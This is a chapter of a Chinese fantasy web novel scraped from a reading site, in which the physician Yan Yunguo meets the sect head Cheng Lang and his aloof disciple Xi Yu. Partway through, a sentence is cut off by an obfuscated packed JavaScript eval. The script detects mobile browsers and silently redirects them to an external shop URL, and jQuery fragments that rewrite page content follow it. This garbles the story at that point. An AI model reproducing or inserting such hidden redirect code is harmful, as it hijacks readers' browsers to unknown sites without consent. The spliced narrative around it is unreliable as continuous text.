文趣网 > 其他小说 > 春生烬 > 40. 初见席予
    晏云归到的时候,周砚白的院中还坐着另外一人,白衣飘飘,长条的胡子和白发。

    她没有见过这人,不过看座位的方向和浑身的气质,应当是师傅的好友。

    程朗一见晏云归,就笑呵呵的,率先开口,“看来今天我的运气不错嘛,恰恰好见到你的宝贝徒弟。”

    晏云归也回程朗一个礼貌的笑,看向自己的师傅,“师傅,这位是?”

    周砚白在桌子上多摆上一个杯子,瞥了程朗一眼,“这是知微堂的堂主,你叫他程老头算了。”

    程朗在旁边撇了撇嘴,“你不也挺老嘛。”

    “原来是程堂主,晚辈晏云归见过堂主。”晏云归恭恭敬敬的给程朗行了一礼。

    程朗爽快的笑了笑,“后生可畏,后生可畏啊。”

    “你这徒弟看上去真不错啊,算你捡到宝了。”

    “怎么能说捡呢?”周砚白肘击了一下程朗,“宝只能是求来的。”

    “是是是。”程朗马上改了口,“算你求到宝了。”

    周砚白暗暗瞪了程朗一眼,转头看向晏云归的时候就马上恢复了表情。

    “过来坐吧,别站着了。”

    晏云归在周砚白旁边落座,三个人刚好围着圆桌。

    “你的事情,我已经看过信了。京城真真是个危险的地,蛇狼一窝。”周砚白开口道,“后面两个月先休息休息吧,不着急下山了。”

    晏云归:“我听木师姐讲了山外袭击门派弟子的事情,事情很是严重吗?”

    周砚白和陈朗对视一眼,程朗开口道:“倒也不算很严重,只是隔几天就出一桩,都是妖物袭击的弟子,而且是打完就跑。”

    “是御妖术吗?”晏云归脑海中马上闪过这个词,脱口而出。

    周砚白沉默两秒,缓缓的点了点头,“现在几个门派的掌门人都是如此怀疑的,除了朔风楼的楼主没有发声。”

    程朗今日来悬霭阁也是为了此事和周砚白商讨,他们是时候准备准备了。

    “听说朔风楼换了新楼主,是真的吗?”晏云归还没有忘记楚怀远先前告诉给她的消息。

    周砚白点了点头,“是换了个年轻的,不过现在还没有露过面,我们这其他四个门派掌门人也不知道是谁。”

    “哎,不露面也是很符合朔风楼的做派嘛,从来都格格不入,一点不把其他四个门派放在眼里,门内所奉行的也是同门相残的事情。”程朗轻轻摸着胡子。

    晏云归又想起了萧朔临,看起来他好像在朔风楼混得还不错,也是杀了很多同门弟子吗?

    “云归?”周砚白少见晏云归走神,“想到什么其他事情了吗?”

    “啊?”晏云归瞬间收回思绪,“没有没有。”

    程朗眯着眼睛,笑眯眯的看着晏云归,“肯定是回来的路上太辛苦了吧。本来还想着请晏小医师帮我的徒弟看看病的,现在看来还是不麻烦晏小医师了,多多休息一下吧。”

    “啊,不麻烦不麻烦的。”晏云归瞬间提了神,“我不累的,只是刚刚想到了另一个人,程堂主放心交给我吧。”

    程朗此番来悬霭阁还有另外一个目的,就是带知微堂的弟子来看病的。

    周砚白也帮晏云归开口,“放心吧,我这徒弟精神好的很,以前坐诊的时候,一天看一百个病人都不在话下,而且她的医术,你也放心。”

    “哈哈,那便要有劳晏小医师了,等会介绍我的徒弟给你认识认识。”程朗笑着开口。

    程朗话音刚落,院外就走进来一个人,穿着灰色的僧袍样式的服饰,面庞柔和,细长的眼尾,眉眼间自带几分冷淡。

    来人先向周砚白行上一礼后,转向程朗开口道:“师傅,受伤的弟子已经安排妥当了,住所也收拾出来了。”

    晏云归好奇的看着称程朗师傅的弟子,看衣袍就知道是知微堂的弟子,而且应当还是内门弟子。

    席予同样也注意到了晏云归,而且认出了她。

    程朗笑呵呵的点点头,“正好,小予,来给你介绍个朋友,这位是悬霭阁的首席弟子晏医师,也是悬霭阁阁主的亲传弟子,刚刚我还拜托她帮你看看身体呢。”

    “晏小医师,这位是我的弟子,席予,也是知微堂的大师姐。”

    察觉到席予的视线看了过来,晏云归露出一个笑,“你好,我是晏云归,幸会幸会。”

    席予表情冷淡,只是略微的看了看晏云归就转过头去,“我是席予。”

    程朗的笑容收敛了几分,明白自家弟子的心中是在想什么,在心里默默叹气。

    打招呼被冷淡拒绝的晏云归还是保持着微笑,假装没有看见刚才席予的冷漠。

    “小予啊,晏小医师的年纪还比你小一些,也算是你半个师妹了。”程朗不着声色的提醒席予道。

    席予微微低垂着头,没有回应。

    周砚白适时递给晏云归一个眼神,晏云归马上开口道:“我今日刚刚回山,珩王殿下赏赐了很多名贵药材,师傅要不要现在跟我去医馆挑一挑?”

    “好啊。”周砚白马上就答应了,两个人找着借口就开溜了,将空间留给了程朗和席予。

    ……

    “席予。”程朗直呼席予的名字,面上的笑全收了下去。

    “师父……”席予的声音慢慢弱了下去。

    程朗轻轻叹息一声,“现在不是在知微堂,是在别人的门派内,你怎么对悬霭阁的弟子好吗?而且你不知道晏云归的身份吗?她没有介意你的态度,但在人家师傅眼里可就不一样了。”

    席予还想反驳,但抬头看见自家师父的表情,反驳的话也被她咽了下去。

    “……我知道了。”

    “去找晏云归赔个不是,你现在代表的是知微堂,不能有损风度。”程朗开口道,他很少训斥席予,但在这件事情上,他不得不拿出师父的架子了。

    席予的衣袖垂下,站的笔直,“师傅。”

    “我知道你想问什么,你不也已经推演出来了吗?知道该怎么做吧。”程朗的目光慢慢转向远方。

    “可我就是不理解,为什么会变成那样?唯一的解法真的只有这一种吗?牺牲这么多是值得的吗?”席予的语气渐渐激动起来,紧紧皱着眉头。

    程朗看向席予,“问问题是没有用的,这就是唯一的解法,顺着去做就好。以后不准再问这些问题了!”

    他是理解席予,也知道席予年轻气盛,有时候天赋将她推

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722516|203606||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    到了这个位置,承担的东西和不理解的事情也是远超与常人,迷茫、不解都是正常的情绪,但是现在已经没有时间让他们去慢慢解决这些情绪了。

    席予沉默了片刻,才轻轻点头,“……我知道了,师父,今日是我错了。”

    “嗯,你走吧,去看看你的几个师弟。”程朗摆摆手。

    “弟子告退。”

    席予恭恭敬敬的行了一礼后,转身离开了。

    ……

    ……

    “师傅,知微堂的人是来悬霭阁治伤的吗?居然堂主都来了?”晏云归跟在周砚白的平板,问出刚才没有问出口的疑问。

    周砚白:“一半一半吧,一半是他们的几个外出弟子被妖物袭击了,带来我们这看看,二是程朗那老头说要带着他的亲传弟子来帮我们悬霭阁看看风水,准备住个半个月、一个月的。”

    “看风水?”晏云归知道知微堂是会玄学,但怎么突然想着来悬霭阁看风水呢?

    “知微堂很少外出的,既然来了,我们就欢迎,你也要好好和席予相处。”周砚白看着晏云归说道,刚才那席予的态度可不算好,真想打程朗一顿,问他是怎么教育弟子的?

    晏云归笑了笑,“放心吧,我会好好相处的。”刚才席予虽然表现的不是很喜欢她,可能是认生吧,或许相处几天就熟络了。

    “话说,珩王对你可还算优待?”周砚白问起晏云归外出的事情。

    “嗯……还算可以吧。”要是没有撺掇大皇子派人刺杀她的话,晏云归默默在心里想到。

    考虑到是云家帮她查出大皇子幕后的推手是裴澈,晏云归就没有将全部消息告诉周砚白,只说的杀手说出大皇子名字的情况。

    “这些京城的人最是恶心了,弯弯绕绕多的很,以后京城的人再来请医师,直接回绝了算了,省的出去一趟还要躲着刺杀。”

    “是。”

    两人说着话,就已经到了医馆门口,弟子都纷纷和两人打招呼。

    “阁主,晏师姐。”

    “晏师姐好!”

    “……”

    木笞和苏映棠正在忙着给知微堂的弟子看病,晏云归默默走到木笞身边,戳了戳木笞,木笞递给晏云归一个眼神。

    “情况如何?”周砚白也凑到几个知微堂的弟子旁边看了看。

    苏映棠摇了摇扇子,“有我在,妖气已经排出了,剩下的就是好好养养外伤了。”

    晏云归看了看木笞,悄悄竖起一个大拇指,不亏是苏师姑啊,木笞笑了笑,按下晏云归的手。

    “木笞。”苏映棠叫了声木笞的名字。

    木笞马上上前一步,“师傅,我在。”

    “剩下的事情交给你了,这几日多来照料照料。”

    “好,师傅。”

    苏映棠扬了扬下巴,用扇子指了指周砚白,“阁主大人,我们去找个地方聊聊吧。”

    苏映棠和周砚白离开了医馆,留下晏云归和木笞两人。

    “师姐,你最近还在给外门弟子授课吗?忙得过来吗?”晏云归凑到木笞的身边,小声开口问道。

    木笞一边检查床上病人的情况,一边勾起嘴角,“所以,这不是把你盼回来了嘛。”